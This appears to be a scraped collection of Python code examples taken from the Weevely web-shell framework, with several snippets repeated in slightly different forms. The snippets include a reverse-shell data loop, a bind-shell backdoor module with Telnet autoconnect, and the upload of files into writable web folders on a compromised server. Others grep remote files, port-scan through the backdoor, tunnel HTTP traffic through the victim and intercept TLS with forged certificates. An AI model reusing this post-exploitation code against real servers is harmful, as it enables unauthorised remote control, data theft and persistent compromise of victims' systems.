Esempio n. 1
0
    def forward_data(self):

        log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected)

        self.socket.setblocking(0)

        while(1):
            read_ready, write_ready, in_error = select.select(
                [self.socket, sys.stdin], [], [self.socket, sys.stdin])

            try:
                buffer = self.socket.recv(100)
                while(buffer != ''):

                    self.socket_state = True

                    sys.stdout.write(buffer)
                    sys.stdout.flush()
                    buffer = self.socket.recv(100)
                if(buffer == ''):
                    return
            except socket.error:
                pass
            while(1):
                r, w, e = select.select([sys.stdin], [], [], 0)
                if(len(r) == 0):
                    break
                c = sys.stdin.read(1)
                if(c == ''):
                    return
                if(self.socket.sendall(c) != None):
                    return
Esempio n. 2
0
    def register_arguments(self, arguments=[]):
        """Register the module arguments.

        Register arguments to be added to the argparse parser.

        Args:
            arguments (list of dict): List of dictionaries in the form
            `[{ 'name' : 'arg1', 'opt' : '', .. }, {'name' : 'arg2', 'opt' : '', .. }]`
            to be passed to the `ArgumentParser.add_argument()` method.
        """

        try:
            for arg_opts in arguments:

                # Handle if the argument registration is done before
                # The vector registration. This should at least warn
                if arg_opts.get('choices') == []:
                    log.warn(messages.module.error_choices_s_s_empty %
                             (self.name, arg_name))

                self.argparser.add_argument(
                    arg_opts['name'],
                    **dict((k, v) for k, v in arg_opts.items() if k != 'name'))
        except Exception as e:
            raise DevException(messages.module.error_setting_arguments_s % (e))
Esempio n. 3
0
    def run(self):

        self._get_env_info(self.session['url'])
        if not self.base_folder_url or not self.base_folder_path:
            log.warn(messages.module_file_upload2web.failed_retrieve_info)

        # If remote path is a folder, get first writable folder
        if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run():
            folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run()

            if not folders or not folders[0]:
                log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath'])
                return None, None

            # If the remote file name is not set, get it from lpath
            if self.args.get('rname'):
                rname = self.args.get('rname')
            else:
                lfolder, rname = os.path.split(self.args['lpath'])

            # TODO: all the paths should be joined with remote OS_SEP from system_info.
            self.args['rpath'] = os.path.join(folders[0], rname)

        if ModuleExec("file_upload", [ self.args['lpath'], self.args['rpath'] ]).run():
            # Guess URL from rpath
            return [ self._map_file2web(self.args['rpath']) ]
    def run(self):

        file_upload_args = [ self.args['rpath'] ]

        content = self.args.get('content')
        lpath = self.args.get('lpath')
            
        self._get_env_info(self.session['url'])
        if not self.base_folder_url or not self.base_folder_path:
            log.warn(messages.module_file_upload2web.failed_retrieve_info)

        # If remote path is a folder, get first writable folder
        if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run():
            folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run()

            if not folders or not folders[0]:
                log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath'])
                return None, None

            # Get remote file name from lpath
            lfolder, rname = os.path.split(lpath)

            # TODO: all the paths should be joined with remote OS_SEP from system_info.
            self.args['rpath'] = os.path.join(folders[0], rname)

        file_upload_args = [ lpath, self.args['rpath'] ]
        if content:
            file_upload_args += [ '-content', content ]
            
        if self.args.get('simulate') or ModuleExec("file_upload", file_upload_args).run():
            # Guess URL from rpath
            return [ self._map_file2web(self.args['rpath']) ]
Esempio n. 5
0
    def run(self, args):

        self._get_env_info(self.session['url'])
        if not self.base_folder_url or not self.base_folder_path:
            log.warn(messages.module_file_upload2web.failed_retrieve_info)

        # If remote path is a folder, get first writable folder
        if ModuleExec("file_check", [args['rpath'], 'dir']).run():
            folders = ModuleExec("file_find",
                                 ['-writable', '-quit', args['rpath']]).run()

            if not folders or not folders[0]:
                log.warn(messages.module_file_upload2web.
                         failed_search_writable_starting_s % args['rpath'])
                return

            # Get file name from lpath
            lfolder, lname = os.path.split(args['lpath'])

            # TODO: all the paths should be joined with remote OS_SEP from system_info.
            args['rpath'] = os.path.join(folders[0], lname)

        if ModuleExec("file_upload", [args['lpath'], args['rpath']]).run():
            # Guess URL from rpath
            return [self._map_file2web(args['rpath'])]
Esempio n. 6
0
    def _print_response_status(self, command, code, response):
        """
        Debug print and warning in case of missing response and HTTP errors
        """

        #        log.debug(
        #           utilities.shorten_string(
        #               command,
        #               keep_header = 40,
        #               keep_trailer = 40
        #           )
        #        )

        log.debug('PAYLOAD %s' % command)
        dlog.info('== RESPONSE ==\n%s==== END ====' % response)

        if response: return

        if code == 404:
            log.warn(messages.module_shell_php.error_404_remote_backdoor)
        elif code == 500:
            log.warn(messages.module_shell_php.error_500_executing)
        elif code == -1:
            log.warn(messages.module_shell_php.error_URLError_network)
        elif code != 200:
            log.warn(messages.module_shell_php.error_i_executing % code)

        command_last_chars = utilities.shorten_string(command.rstrip(),
                                                      keep_trailer=10)

        if (command_last_chars and command_last_chars[-1] not in (';', '}')):
            log.warn(messages.module_shell_php.missing_php_trailer_s %
                     command_last_chars)
Esempio n. 7
0
    def connect_intercept(self):
        hostname = self.path.split(':')[0]
        certname = "%s.crt" % (hostname)
        certpath = os.path.join(self.certdir, certname)

        if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)):
            log.warn("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname))
            hostname = 'www.weevely.com'

        with self.lock:
            if not os.path.isfile(certpath):
                epoch = "%d" % (time.time() * 1000)
                p1 = Popen(["openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname], stdout=PIPE)
                p2 = Popen(["openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath], stdin=p1.stdout, stderr=PIPE)
                p2.communicate()

        self.wfile.write("%s %d %s\r\n" % (self.protocol_version, 200, 'Connection Established'))
        self.end_headers()

        try:
            self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True)
            self.rfile = self.connection.makefile("rb", self.rbufsize)
            self.wfile = self.connection.makefile("wb", self.wbufsize)
        except Exception as e:
            log.debug(e)
            raise

        conntype = self.headers.get('Proxy-Connection', '')
        if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close':
            self.close_connection = 0
        else:
            self.close_connection = 1
Esempio n. 8
0
    def __init__(self, dbpath, volatile = False):

        try:
            sessiondb = yaml.load(open(dbpath, 'r').read())
        except Exception as e:
            log.warn(
                messages.generic.error_loading_file_s_s %
                (dbpath, str(e)))
            raise FatalException(messages.sessions.error_loading_sessions)

        if sessiondb and isinstance(sessiondb, dict):

            saved_url = sessiondb.get('url')
            saved_password = sessiondb.get('password')

            if saved_url and saved_password:
                if not volatile:
                    # Register dump at exit and return
                    atexit.register(self._session_save_atexit)

                self.load_session(sessiondb)
                return

        log.warn(
            messages.generic.error_loading_file_s_s %
            (dbpath, 'no url or password'))

        raise FatalException(messages.sessions.error_loading_sessions)
Esempio n. 9
0
    def _print_response_status(self, command, code, response):

        """
        Debug print and warning in case of missing response and HTTP errors
        """

#        log.debug(
#           utils.prettify.shorten(
#               command,
#               keep_header = 40,
#               keep_trailer = 40
#           )
#        )

        dlog.info('RESPONSE: %s' % repr(response))

        if response: return

        if code == 404:
            log.warn(messages.module_shell_php.error_404_remote_backdoor)
        elif code == 500:
            log.warn(messages.module_shell_php.error_500_executing)
        elif code == -1:
            log.warn(messages.module_shell_php.error_URLError_network)
        elif code != 200:
            log.warn(messages.module_shell_php.error_i_executing % code)

        command_last_chars = utils.prettify.shorten(command.rstrip(),
                                                    keep_trailer = 10)

        if (command_last_chars and
              command_last_chars[-1] not in ( ';', '}' )):
            log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
    def do_request(self):

        if self.command == 'CONNECT' or self.path.startswith('https'):
            log.warn(messages.module_net_proxy.https_not_implemented)
            self.requestline = ''
            self.request_version = ''
            self.command = ''
            self.send_error(501,
                            messages.module_net_proxy.https_not_implemented)
            return

        net_curl_args = [self.path, '-X', self.command, '-i']

        for h in self.headers:
            if h.title() in ('Keep-Alive', 'Proxy-Connection', 'Connection'):
                continue
            net_curl_args += ['-H', '%s: %s' % (h.title(), self.headers[h])]

        net_curl_args += ['-H', 'Proxy-Connection: close']

        if self.command == 'POST':
            content_len = int(self.headers.getheader('content-length', 0))
            net_curl_args += ['-d', self.rfile.read(content_len)]

        result, headers, saved = ModuleExec('net_curl', net_curl_args).run()

        dlog.debug('> ' + '\r\n> '.join(
            ['%s: %s' % (h.title(), self.headers[h]) for h in self.headers]))
        dlog.debug('< ' + '\r\n< '.join(headers))

        self.wfile.write('\r\n'.join(headers))
        self.wfile.write('\r\n\r\n')
        self.wfile.write(result)
Esempio n. 11
0
    def unset(self, module_argument):
        """Called by user to unset the session variables"""

        # If action_<module_argument> function exists, trigger the action
        # passing None
        action_name = 'action_%s' % (module_argument.replace('.','_'))
        if hasattr(self, action_name):
            action_func = getattr(self, action_name)
            if hasattr(action_func, '__call__'):
                action_func(module_argument, None)

        if module_argument.count('.') == 1:
            module_name, arg_name = module_argument.split('.')
            if arg_name not in self[module_name]['stored_args']:
                log.warn(messages.sessions.error_session_s_not_modified % ( '%s.%s' % (module_name, arg_name) ))
            else:
                del self[module_name]['stored_args'][arg_name]
                log.info(messages.sessions.unset_module_s_s % (module_name, arg_name))
        else:
            module_name = module_argument
            if module_name not in self and module_name not in set_filters:
                log.warn(messages.sessions.error_session_s_not_modified % (module_name))
            else:
                self[module_name] = None
                log.info(messages.sessions.unset_s % (module_name))
Esempio n. 12
0
    def run_cmdline(self, line):
        """Execute the module from command line.

        Get command line string as argument. Called from terminal.

        Normally does not need to be overridden.

        Args:
            line (str): string containing the module arguments.

        Return:
            Object. The result of the module execution.
        """

        try:
            result = self.run_argv(shlex.split(line))
        except Exception as e:
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        if result not in (None, ''):
            log.info(utilities.stringify(result))

        # Data is returned for the testing of _cmdline calls
        return result
Esempio n. 13
0
    def set(self, module_argument, value):

        # Do a safe evaluation of the value
        try:
            value = ast.literal_eval(value)
        except:
            pass

        # If action_<module_argument> function exists, trigger the action
        action_name = 'action_%s' % (module_argument.replace('.','_'))
        if hasattr(self, action_name):
            action_func = getattr(self, action_name)
            if hasattr(action_func, '__call__'):
                action_func(module_argument, value)

        if module_argument.count('.') == 1:
            module_name, arg_name = module_argument.split('.')
            if arg_name not in self[module_name]['stored_args']:
                log.warn(messages.sessions.error_storing_s_not_found % ( '%s.%s' % (module_name, arg_name) ))
            else:
                self[module_name]['stored_args'][arg_name] = value
                log.info("%s.%s = '%s'" % (module_name, arg_name, value))
        else:
            module_name = module_argument
            if module_name not in self or module_name not in set_filters:
                log.warn(messages.sessions.error_storing_s_not_found % (module_name))
            else:
                self[module_name] = value
                log.info("%s = %s" % (module_name, value))

                # If the channel is changed, the basic shell_php is moved
                # to IDLE and must be setup again.
                if module_name == 'channel':
                    self['shell_php']['status'] = Status.IDLE
    def forward_data(self):

        log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected)

        self.socket.setblocking(0)

        while (1):
            read_ready, write_ready, in_error = select.select(
                [self.socket, sys.stdin], [], [self.socket, sys.stdin])

            try:
                buf = self.socket.recv(100)
                while (buf != ''):

                    self.socket_state = True

                    sys.stdout.write(buf.decode('utf-8', 'replace'))
                    sys.stdout.flush()
                    buf = self.socket.recv(100)
                if (buf == ''):
                    return
            except socket.error:
                pass
            while (1):
                r, w, e = select.select([sys.stdin], [], [], 0)
                if (len(r) == 0):
                    break
                c = sys.stdin.read(1)
                if (c == ''):
                    return
                if (self.socket.sendall(c.encode('utf-8')) != None):
                    return
Esempio n. 15
0
    def register_arguments(self, arguments = []):
        """Register the module arguments.

        Register arguments to be added to the argparse parser.

        Args:
            arguments (list of dict): List of dictionaries in the form
            `[{ 'name' : 'arg1', 'opt' : '', .. }, {'name' : 'arg2', 'opt' : '', .. }]`
            to be passed to the `ArgumentParser.add_argument()` method.
        """

        try:
            for arg_opts in arguments:

                # Handle if the argument registration is done before
                # The vector registration. This should at least warn
                if arg_opts.get('choices') == []:
                    log.warn(messages.module.error_choices_s_s_empty % (self.name,
                                                                        arg_name))

                self.argparser.add_argument(
                    arg_opts['name'],
                    **dict((k, v) for k, v in arg_opts.items() if k != 'name')
                )
        except Exception as e:
            raise DevException(messages.module.error_setting_arguments_s % (e))
Esempio n. 16
0
    def set(self, module_argument, value):
        """Called by user to set or show the session variables"""

        # I safely evaluate the value type to avoid to save only
        # strings type. Dirty but effective.
        # TODO: the actual type of the argument could be acquired
        # from modules[module].argparser.
        try:
            value = ast.literal_eval(value)
        except Exception as e:
            # If is not evalued, just keep it as string
            pass

        # If action_<module_argument> function exists, trigger the action
        action_name = 'action_%s' % (module_argument.replace('.','_'))
        if hasattr(self, action_name):
            action_func = getattr(self, action_name)
            if hasattr(action_func, '__call__'):
                action_func(module_argument, value)

        if module_argument.count('.') == 1:
            module_name, arg_name = module_argument.split('.')

            # Should be OK to set whethever variable we want
            # and which will eventually be used by a module.
            self[module_name]['stored_args'][arg_name] = value
            log.info(messages.sessions.set_module_s_s_s % (module_name, arg_name, value))
        else:
            module_name = module_argument
            if module_name not in self and module_name not in set_filters:
                log.warn(messages.sessions.error_session_s_not_modified % (module_name))
            else:
                self[module_name] = value
                log.info(messages.sessions.set_s_s % (module_name, value))
Esempio n. 17
0
    def run(self):

        file_upload_args = [ self.args['rpath'] ]

        content = self.args.get('content')
        lpath = self.args.get('lpath')
            
        self._get_env_info(self.session['url'])
        if not self.base_folder_url or not self.base_folder_path:
            log.warn(messages.module_file_upload2web.failed_retrieve_info)

        # If remote path is a folder, get first writable folder
        if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run():
            folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run()

            if not folders or not folders[0]:
                log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath'])
                return None, None

            # Get remote file name from lpath
            lfolder, rname = os.path.split(lpath)

            # TODO: all the paths should be joined with remote OS_SEP from system_info.
            self.args['rpath'] = os.path.join(folders[0], rname)

        file_upload_args = [ lpath, self.args['rpath'] ]
        if content:
            file_upload_args += [ '-content', content ]
            
        if self.args.get('simulate') or ModuleExec("file_upload", file_upload_args).run():
            # Guess URL from rpath
            return [ self._map_file2web(self.args['rpath']) ]
Esempio n. 18
0
    def send(self, payload):

        response = ''
        code = 200
        error = ''

        human_error = ''

        try:
            response = self.channel_loaded.send(
                payload,
                self._additional_handlers()
            )
        except socks.ProxyError as e:
            if e.socket_err and e.socket_err.errno:
                code = e.socket_err.errno
            if e.msg:
                error = str(e.msg)

            human_error = messages.module_shell_php.error_proxy

        except HTTPError as e:
            if e.code:
                code = e.code
            if e.reason:
                error = str(e.reason)

            if code == 404:
                human_error = messages.module_shell_php.error_404_remote_backdoor
            elif code == 500:
                human_error = messages.module_shell_php.error_500_executing
            elif code != 200:
                human_error = messages.module_shell_php.error_i_executing % code

        except URLError as e:
            code = 0
            if e.reason:
                error = str(e.reason)

            human_error = messages.module_shell_php.error_URLError_network

        if response:
            dlog.info('RESPONSE: %s' % repr(response))
        else:
            command_last_chars = utils.prettify.shorten(
                                    payload.rstrip(),
                                    keep_trailer = 10
                                )
            if (
                command_last_chars and
                command_last_chars[-1] not in ( ';', '}' )
                ):
                log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)

        if error or human_error:
            log.debug('[ERR] %s [%s]' % (error, code))
            log.warn(human_error)

        return response, code, error
Esempio n. 19
0
    def send(self, payload):

        response = ''
        code = 200
        error = ''

        human_error = ''

        try:
            response = self.channel_loaded.send(
                payload,
                self._additional_handlers()
            )
        except socks.ProxyError as e:
            if e.socket_err and e.socket_err.errno:
                code = e.socket_err.errno
            if e.msg:
                error = str(e.msg)

            human_error = messages.module_shell_php.error_proxy

        except HTTPError as e:
            if e.code:
                code = e.code
            if e.reason:
                error = str(e.reason)

            if code == 404:
                human_error = messages.module_shell_php.error_404_remote_backdoor
            elif code == 500:
                human_error = messages.module_shell_php.error_500_executing
            elif code != 200:
                human_error = messages.module_shell_php.error_i_executing % code

        except URLError as e:
            code = 0
            if e.reason:
                error = str(e.reason)

            human_error = messages.module_shell_php.error_URLError_network

        if response:
            dlog.info('RESPONSE: %s' % repr(response))
        else:
            command_last_chars = utils.prettify.shorten(
                                    payload.rstrip(),
                                    keep_trailer = 10
                                )
            if (
                command_last_chars and
                command_last_chars[-1] not in ( ';', '}' )
                ):
                log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)

        if error or human_error:
            log.debug('[ERR] %s [%s]' % (error, code))
            log.warn(human_error)

        return response, code, error
Esempio n. 20
0
    def run(self):

        ## Address handling

        # Explode every single IP or network starting from
        # format IP1,IP2-IP3,IP/MASK,..
        IPs = []
        for ip_or_network in self.args["addresses"].split(","):

            if ip_or_network.count("-") == 1:
                # If there is a dash, explode
                IPs += list(utils.iputil.ip_range(ip_or_network))
            elif ip_or_network.count("/") == 1:
                # If there is a /, too
                IPs += [str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network)]
            else:
                IPs.append(ip_or_network)

        ## Port handling
        prts = utils.iputil.port_range(self.args["ports"])

        results_string = ""

        for ips_chunk in list(utils.strings.chunks(IPs, self.args["addresses_per_request"])):
            for prts_chunk in list(utils.strings.chunks(prts, self.args["ports_per_request"])):

                results_string += self.vectors.get_result(
                    name="fsockopen",
                    format_args={"ips": ips_chunk, "prts": prts_chunk, "timeout": self.args["timeout"]},
                )

                log.warn(
                    "Scanning addresses %s-%s:%i-%i" % (ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1])
                )

        # Crappy output handling

        result = []
        for result_string in results_string.split("\n"):

            addr_string_splitted = result_string.split(" ")

            if addr_string_splitted[0] == "OPN":
                address = addr_string_splitted[1]
                error = "OPEN"
            elif addr_string_splitted[0] == "ERR":
                address = addr_string_splitted[1]
                error = "%s (%s)" % (" ".join(addr_string_splitted[2:-1]), addr_string_splitted[-1])
            else:
                log.debug(messages.module_net_scan.unexpected_response)
                continue

            if self.args.get("print"):
                result.append((address, error))
            elif error == "OPEN":
                result.append(address)

        return result
Esempio n. 21
0
    def run(self):

        files = []

        if ModuleExec("file_check", [self.args['rpath'], 'dir']).run():
            # If remote path is a folder, harvest all the readable
            # files wih given name-regex

            # Prepare the arguments for file_find
            file_find_args = ['-readable', self.args['rpath']]
            if self.args.get('name_regex'):
                file_find_args += ['-name-regex', self.args.get('name_regex')]
            if self.args.get('no_recursion'):
                file_find_args += ['-no-recursion']

            files = ModuleExec("file_find", file_find_args).run()

        elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run()
              and ModuleExec("file_check",
                             [self.args['rpath'], 'readable']).run()):
            # If the remote path is a readable file, just store the path
            files = [self.args['rpath']]

        # Validate files presence
        if not isinstance(files, list) or not files:
            log.warn(messages.module_file_grep.failed_retrieve_info)
            return

        # Store the found data in data dictionary in the
        # form `{ filename : [ line1, line2, ... ] }`
        results = {}

        for rfile in files:
            result = self.vectors.get_result(
                self.args['vector'], {
                    'regex': self.args['regex'],
                    'rfile': rfile,
                    'case': self.args['case']
                })

            result_list = result.split('\n') if isinstance(
                result, str) and result else []

            if result_list:

                if len(files) > 1:
                    # Print filepath:line if there are multiple files

                    for line in result_list:
                        log.info('%s:%s' % (rfile, line))
                else:
                    # Else, just print the lines
                    log.info('\n'.join(result_list))

                results[rfile] = result_list

        return results
    def run(self, args):


        files = []

        if ModuleExec("file_check", [ args['rpath'], 'dir' ]).run():
            # If remote path is a folder, harvest all the readable
            # files wih given name-regex

            # Prepare the arguments for file_find
            file_find_args = [ '-readable', args['rpath'] ]
            if args.get('name_regex'):
                file_find_args += [ '-name-regex', args.get('name_regex') ]
            if args.get('no_recursion'):
                file_find_args += [ '-no-recursion' ]

            files = ModuleExec("file_find", file_find_args).run()


        elif (ModuleExec("file_check", [ args['rpath'], 'file' ]).run() and
              ModuleExec("file_check", [ args['rpath'], 'readable' ]).run()):
            # If the remote path is a readable file, just store the path
            files = [ args['rpath'] ]


        # Validate files presence
        if not isinstance(files, list) or not files:
            log.warn(messages.module_file_grep.failed_retrieve_info)
            return

        # Store the found data in data dictionary in the
        # form `{ filename : [ line1, line2, ... ] }`
        results = {}

        for rfile in files:
            result = self.vectors.get_result(
                args['vector'],
                { 'regex' : args['regex'], 'rfile' : rfile, 'case' : args['case'] }
            )

            result_list = result.split('\n') if isinstance(result, str) and result else []

            if result_list:

                if len(files) > 1:
                    # Print filepath:line if there are multiple files

                    for line in result_list:
                        log.info('%s:%s' % ( rfile, line ))
                else:
                    # Else, just print the lines
                    log.info('\n'.join(result_list))

                results[rfile] = result_list

        return results
Esempio n. 23
0
    def do_unset(self, line, cmd):
        """Command "unset" to unset session variables."""

        # Print all settings that startswith args[0]
        if not line:
            log.warn(messages.terminal.unset_usage)

        # Set the setting
        else:
            self.session.unset(line)
Esempio n. 24
0
    def print_result(self, result):

        if result == None:
            log.warn('%s %s' % (messages.module_sql_console.no_data,
                                messages.module_sql_console.check_credentials)
                    )
        elif not result:
            log.warn(messages.module_sql_console.no_data)
        else:
            Module.print_result(self, result)
    def do_unset(self, line, cmd):
        """Command "unset" to unset session variables."""

        # Print all settings that startswith args[0]
        if not line:
            log.warn(messages.terminal.unset_usage)

        # Set the setting
        else:
            self.session.unset(line)
Esempio n. 26
0
    def run(self):

        headers = []
        saved = None
        
        self._encode()

        vector_name, result = self.vectors.find_first_result(
                names = [ self.args.get('vector') ],
                format_args = self.args,
                condition = lambda r: r if r and r.strip() else None
            )

        # Print error and exit with no response or no headers
        if not (vector_name and result):
            log.warn(messages.module_net_curl.unexpected_response)
            return None, headers, saved
        elif not '\r\n'*2 in result:
            # If something is returned but there is \r\n*2, we consider
            # everything as header. It happen with responses 204 No contents
            # that end with \r\n\r (wtf).
            headers = result
            result = ''
        else:
            headers, result = result.split('\r\n'*2, 1)

        headers = (
            [
                h.rstrip() for h
                in headers.split('\r\n')
            ] if '\r\n' in headers
            else headers
        )

        output_path = self.args.get('output')
        if output_path:

            # If response must be saved, it's anyway safer to save it
            # within additional requests
            if not self.args.get('local'):
                saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run()
            else:
                try:
                    open(output_path, 'wb').write(result)
                except Exception as e:
                    log.warning(
                      messages.generic.error_loading_file_s_s % (output_path, str(e)))
                    saved = False
                else:
                    saved = True

        return result, headers, saved
    def run(self):

        # The correct execution returns something only on errors
        result_err = self.vectors.get_result(
            name = 'php_bzip2',
            format_args = self.args,
        )

        if result_err:
            log.warn(result_err)
            return

        return True
Esempio n. 28
0
    def run(self):

        # The correct execution returns something only on errors
        result_err = self.vectors.get_result(
            name = 'php_zip',
            format_args = self.args,
        )

        if result_err:
            log.warn(result_err)
            return

        return True
Esempio n. 29
0
    def run(self):

        # Run all the vectors
        for vector in self.vectors:

            # Skip vector if -vector is specified but does not match
            if self.args.get('vector') and self.args.get('vector') != vector.name:
                continue

            # Background run does not return results
            vector.run(self.args)

            # If set, skip autoconnect
            if self.args.get('no_autoconnect'): continue

            # Give some time to spawn the shell
            time.sleep(1)

            urlparsed = urlparse.urlparse(self.session['url'])

            if not urlparsed.hostname:
                log.debug(
                    messages.module_backdoor_tcp.error_parsing_connect_s % self.args['port']
                )
                continue

            try:
                telnetlib.Telnet(urlparsed.hostname, self.args['port'], timeout = 5).interact()

                # If telnetlib does not rise an exception, we can assume that
                # ended correctly and return from `run()`
                return
            except Exception as e:
                log.debug(
                    messages.module_backdoor_tcp.error_connecting_to_s_s_s % (
                        urlparsed.hostname,
                        self.args['port'],
                        e
                    )
                )

        # If autoconnect was expected but Telnet() calls worked,
        # prints error message
        if not self.args.get('no_autoconnect'):
            log.warn(
                messages.module_backdoor_tcp.error_connecting_to_s_s_s % (
                    urlparsed.hostname,
                    self.args['port'],
                    'remote port not open or unreachable'
                )
            )
Esempio n. 30
0
    def run(self):

        headers = []
        saved = None

        vector_name, result = self.vectors.find_first_result(
                names = [ self.args.get('vector') ],
                format_args = self.args,
                condition = lambda r: r if r and r.strip() else None
            )

        # Print error and exit with no response or no headers
        if not (vector_name and result):
            log.warn(messages.module_net_curl.unexpected_response)
            return None, headers, saved
        elif not '\r\n'*2 in result:
            # If something is returned but there is \r\n*2, we consider
            # everything as header. It happen with responses 204 No contents
            # that end with \r\n\r (wtf).
            headers = result
            result = ''
        else:
            headers, result = result.split('\r\n'*2, 1)

        headers = (
            [
                h.rstrip() for h
                in headers.split('\r\n')
            ] if '\r\n' in headers
            else headers
        )

        output_path = self.args.get('output')
        if output_path:

            # If response must be saved, it's anyway safer to save it
            # within additional requests
            if not self.args.get('local'):
                saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run()
            else:
                try:
                    open(output_path, 'wb').write(result)
                except Exception as e:
                    log.warning(
                      messages.generic.error_loading_file_s_s % (output_path, str(e)))
                    saved = False
                else:
                    saved = True

        return result, headers, saved
Esempio n. 31
0
    def run_cmdline(self, line, cmd = ''):
        """Execute the module from command line.

        Get command line string as argument. Called from terminal.

        Normally does not need to be overridden.

        Args:
            line (str): the module arguments.
            cmd (str): the executed command

        Return:
            Object. The result of the module execution.
        """

        # Split the command line
        try:
            command = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit,
        # and other exceptions
        try:
            result = self.run_argv(command)

        except (KeyboardInterrupt, EOFError):
            log.info(messages.module.module_s_exec_terminated % self.name)
            return

        except ArgparseError:
            return

        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.module.error_module_exec_error_s % str(e))
            return

        self.print_result(
            result[:-1] if (
                isinstance(result, basestring) and
                result.endswith('\n')
            ) else result
        )

        # Data is returned for the testing of _cmdline calls
        return result
Esempio n. 32
0
    def connect_intercept(self):
        hostname = self.path.split(':')[0]
        certname = "%s.crt" % (hostname)
        certpath = os.path.join(self.certdir, certname)

        if not (re_valid_ip.match(hostname)
                or re_valid_hostname.match(hostname)):
            log.warn("CN name '%s' is not valid, using 'www.weevely.com'" %
                     (hostname))
            hostname = 'www.weevely.com'

        with self.lock:
            if not os.path.isfile(certpath):
                epoch = "%d" % (time.time() * 1000)
                p1 = Popen([
                    "openssl", "req", "-new", "-key", self.certkey, "-subj",
                    "/CN=%s" % hostname
                ],
                           stdout=PIPE)
                p2 = Popen([
                    "openssl", "x509", "-req", "-days", "3650", "-CA",
                    self.cacert, "-CAkey", self.cakey, "-set_serial", epoch,
                    "-out", certpath
                ],
                           stdin=p1.stdout,
                           stderr=PIPE)
                p2.communicate()

        self.wfile.write(
            "%s %d %s\r\n" %
            (self.protocol_version, 200, 'Connection Established'))
        self.end_headers()

        try:
            self.connection = ssl.wrap_socket(self.connection,
                                              keyfile=self.certkey,
                                              certfile=certpath,
                                              server_side=True)
            self.rfile = self.connection.makefile("rb", self.rbufsize)
            self.wfile = self.connection.makefile("wb", self.wbufsize)
        except Exception as e:
            log.debug(e)
            raise

        conntype = self.headers.get('Proxy-Connection', '')
        if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close':
            self.close_connection = 0
        else:
            self.close_connection = 1
Esempio n. 33
0
    def run_cmdline(self, line, cmd=''):
        """Execute the module from command line.

        Get command line string as argument. Called from terminal.

        Normally does not need to be overridden.

        Args:
            line (str): the module arguments.
            cmd (str): the executed command

        Return:
            Object. The result of the module execution.
        """

        # Split the command line
        try:
            command = shlex.split(line)
        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit,
        # and other exceptions
        try:
            result = self.run_argv(command)

        except (KeyboardInterrupt, EOFError):
            log.info(messages.module.module_s_exec_terminated % self.name)
            return

        except ArgparseError:
            return

        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warn(messages.module.error_module_exec_error_s % str(e))
            return

        self.print_result(result[:-1] if (
            isinstance(result, basestring) and result.endswith('\n')
        ) else result)

        # Data is returned for the testing of _cmdline calls
        return result
Esempio n. 34
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))

        # Set the setting
        else:
            if len(args) < 2:
                log.warn(messages.terminal.set_usage)
            elif len(args) >= 2:
                args[1] = ' '.join(args[1:])
                self.session.set(args[0], args[1])
Esempio n. 35
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))

        # Set the setting
        else:
            if len(args) < 2:
                log.warn(messages.terminal.set_usage)
            elif len(args) >= 2:
                args[1] = ' '.join(args[1:])
                self.session.set(args[0], args[1])
Esempio n. 36
0
    def _query(self, vector, args):

        result = self.vectors.get_result(vector, args)

        if result:
            return [
              line.split('\x00') for line
              in result.strip('\x00').replace('\x00\n', '\n').split('\n')
            ]

        # If the result is none, prints error message about missing trailer
        command_last_chars = utilities.shorten_string(args['query'].rstrip(),
                                                        keep_trailer = 10)

        if (command_last_chars and command_last_chars[-1] != ';'):
            log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
Esempio n. 37
0
    def print_result(self, result):

        if result['error']:
            log.info(result['error'])

        if result['result']:
            Module.print_result(self, result['result'])

        elif not result['error']:

            log.warn('%s %s' % (messages.module_sql_console.no_data,
                                messages.module_sql_console.check_credentials))

            command_last_chars = utils.prettify.shorten(
                self.args['query'].rstrip(), keep_trailer=10)

            if (command_last_chars and command_last_chars[-1] != ';'):
